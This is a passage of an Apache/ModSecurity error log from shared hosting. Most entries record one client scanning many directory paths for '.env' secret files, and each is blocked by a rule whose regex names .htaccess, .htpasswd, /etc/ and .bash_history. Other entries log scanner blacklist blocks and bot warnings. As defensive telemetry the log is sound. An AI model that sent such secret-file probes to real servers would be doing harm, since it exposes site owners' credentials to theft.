https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjIwL2RldmljZToyMQ== [Sat Jun 13 18:17:53.513273 2026] [security2:error] [pid 648189:tid 648372] [client 185.177.72.9:30714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ops/vagrant/.env"] [unique_id "ai3zMVWSojQL4F7upKBppQAAAJg"] [Sat Jun 13 18:17:53.647404 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:30714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/option/.env"] [unique_id "ai3zMVWSojQL4F7upKBpqgAAALo"] [Sat Jun 13 18:17:53.780794 2026] [security2:error] [pid 648189:tid 648369] [client 185.177.72.9:30714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/orientdb-client/.env"] [unique_id "ai3zMVWSojQL4F7upKBpsQAAAJU"] [Sat Jun 13 18:17:53.867488 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.111:65328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:53.867772 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.111:65328] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:53.884360 2026] [access_compat:error] [pid 646876:tid 646955] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:53.884833 2026] [access_compat:error] [pid 646876:tid 646955] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:53.917420 2026] [security2:error] [pid 648189:tid 648419] [client 185.177.72.9:30714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/outputs/.env"] [unique_id "ai3zMVWSojQL4F7upKBptQAAAMY"] [Sat Jun 13 18:17:53.940334 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:17:53.940774 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:17:53.975377 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.80:37685] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:53.975841 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.80:37685] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:54.011974 2026] [security2:error] [pid 648189:tid 648342] [remote 17.241.219.108:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zMlWSojQL4F7upKBpxAAAp3c"] [Sat Jun 13 18:17:54.054175 2026] [security2:error] [pid 648189:tid 648477] [client 185.177.72.9:30714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/owncloud/.env"] [unique_id "ai3zMlWSojQL4F7upKBpyAAAAPs"] [Sat Jun 13 18:17:54.073843 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.60:21096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:54.074306 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.60:21096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:54.186992 2026] [security2:error] [pid 648189:tid 648433] [client 185.177.72.9:30714] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/p.php"] [unique_id "ai3zMlWSojQL4F7upKBpzQAAANQ"] [Sat Jun 13 18:17:54.223399 2026] [security2:error] [pid 646876:tid 646891] [remote 17.246.15.78:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 78.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zMtyTkdrNlD40tSGyCgAAMww"] [Sat Jun 13 18:17:54.349946 2026] [security2:error] [pid 646876:tid 646977] [remote 17.241.219.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zMtyTkdrNlD40tSGyDgAADmI"] [Sat Jun 13 18:17:54.452641 2026] [security2:error] [pid 646876:tid 647065] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/packages/styled-ui-docs/.env"] [unique_id "ai3zMtyTkdrNlD40tSGyEgAAADk"] [Sat Jun 13 18:17:54.458865 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvcG93ZXI= [Sat Jun 13 18:17:54.459161 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvcG93ZXI= [Sat Jun 13 18:17:54.557383 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.101:54114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:54.557857 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.101:54114] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:54.589561 2026] [security2:error] [pid 646876:tid 647008] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/packages/web/.env"] [unique_id "ai3zMtyTkdrNlD40tSGyGAAAAAA"] [Sat Jun 13 18:17:54.689244 2026] [security2:error] [pid 648189:tid 648376] [client 173.239.211.68:63125] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.211.239.173.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.saleclenbuterol.com"] [uri "/wp-login.php"] [unique_id "ai3zMlWSojQL4F7upKBp1gAAAJw"], referer: https://www.facebook.com/ [Sat Jun 13 18:17:54.725092 2026] [security2:error] [pid 646876:tid 647122] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/packed/.env"] [unique_id "ai3zMtyTkdrNlD40tSGyHAAAAHI"] [Sat Jun 13 18:17:54.860542 2026] [security2:error] [pid 646876:tid 647058] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/page-editor/.env"] [unique_id "ai3zMtyTkdrNlD40tSGyHgAAADI"] [Sat Jun 13 18:17:54.961293 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:17:54.961779 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:17:54.997343 2026] [security2:error] [pid 646876:tid 647048] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/panel/.env"] [unique_id "ai3zMtyTkdrNlD40tSGyJAAAACg"] [Sat Jun 13 18:17:55.094205 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.36:47172] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:55.094471 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.36:47172] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:55.133868 2026] [security2:error] [pid 646876:tid 647063] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/parity/.env"] [unique_id "ai3zM9yTkdrNlD40tSGyKQAAADc"] [Sat Jun 13 18:17:55.139179 2026] [security2:error] [pid 648189:tid 648296] [remote 17.22.253.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zM1WSojQL4F7upKBp3wAAwEo"] [Sat Jun 13 18:17:55.270958 2026] [security2:error] [pid 646876:tid 647066] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Passportjs/.env"] [unique_id "ai3zM9yTkdrNlD40tSGyLQAAADo"] [Sat Jun 13 18:17:55.406436 2026] [security2:error] [pid 646876:tid 647032] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/patchwork/.env"] [unique_id "ai3zM9yTkdrNlD40tSGyMAAAABg"] [Sat Jun 13 18:17:55.418968 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:17:55.419251 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:17:55.488836 2026] [security2:error] [pid 646876:tid 647030] [client 74.7.244.19:37492] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "404"] [hostname "x1-logistics.com"] [uri "/robots.txt"] [unique_id "ai3zM9yTkdrNlD40tSGyNAAAFk8"] [Sat Jun 13 18:17:55.526823 2026] [security2:error] [pid 648189:tid 648434] [client 74.7.228.54:32996] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "404"] [hostname "x-rayaproncleaner.com"] [uri "/robots.txt"] [unique_id "ai3zM1WSojQL4F7upKBp6QAA1XY"] [Sat Jun 13 18:17:55.541719 2026] [security2:error] [pid 646876:tid 647068] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/path/.env"] [unique_id "ai3zM9yTkdrNlD40tSGyNwAAADw"] [Sat Jun 13 18:17:55.597293 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.3:37512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:55.597565 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.3:37512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:55.676925 2026] [security2:error] [pid 646876:tid 647115] [client 185.177.72.9:53012] ModSecurity: Access denied with code 406 